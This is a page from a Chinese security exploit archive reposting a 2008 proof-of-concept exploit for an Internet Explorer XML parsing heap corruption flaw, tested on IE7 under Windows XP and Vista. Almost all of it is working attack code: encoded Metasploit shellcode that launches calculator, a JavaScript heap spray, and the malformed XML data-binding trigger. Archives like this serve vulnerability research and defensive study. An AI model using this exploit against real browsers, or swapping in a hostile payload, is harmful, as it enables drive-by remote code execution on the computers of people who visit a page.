首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MS Internet Explorer XML Parsing Buffer Overflow Exploit (allinone)
来源:www.vfcocus.net 作者:krafty 发布时间:2008-12-16  

<!--

IE XML Heap Corruption exploit

by krafty

greets to hdm, ddz, SK, muts, halvar, grugq, and all the ethnical hackers

sux to exploit traders - ZDI, WabiSabiLabi, and all you h0arders.

Bring back the days of technotronic and r00tshell! Freedom.

poc: launches calculator.
Tested with IE7 XP SP2, SP3, Vista.

-->

<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");

do {
   spray += spray;
} while(spray.length < 0xd0000);

memory = new Array();

for(i = 0; i < 100; i++)
   memory[i] = spray + shellcode;

xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

tag = document.getElementById("replace");
tag.innerHTML = xmlcode;

</script>
</html>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mediatheka <= 4.2 Remote Blind
·eZ Publish < 3.9.5/3.10.1/4.0.
·Amaya Web Browser 10.0.1/10.1-
·Flatnux html/javascript Inject
·EvansFTP (EvansFTP.ocx) Remote
·FLDS 1.2a report.php (linkida)
·Linux Kernel 2.6.27.7-generic
·Aiyoota! CMS - Blind SQL Injec
·WebPhotoPro exploit written in
·Realtek Sound Manager (rtlrack
·ProSysInfo TFTP Server TFTPDWI
·Microsoft SQL Server sp_replwr
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved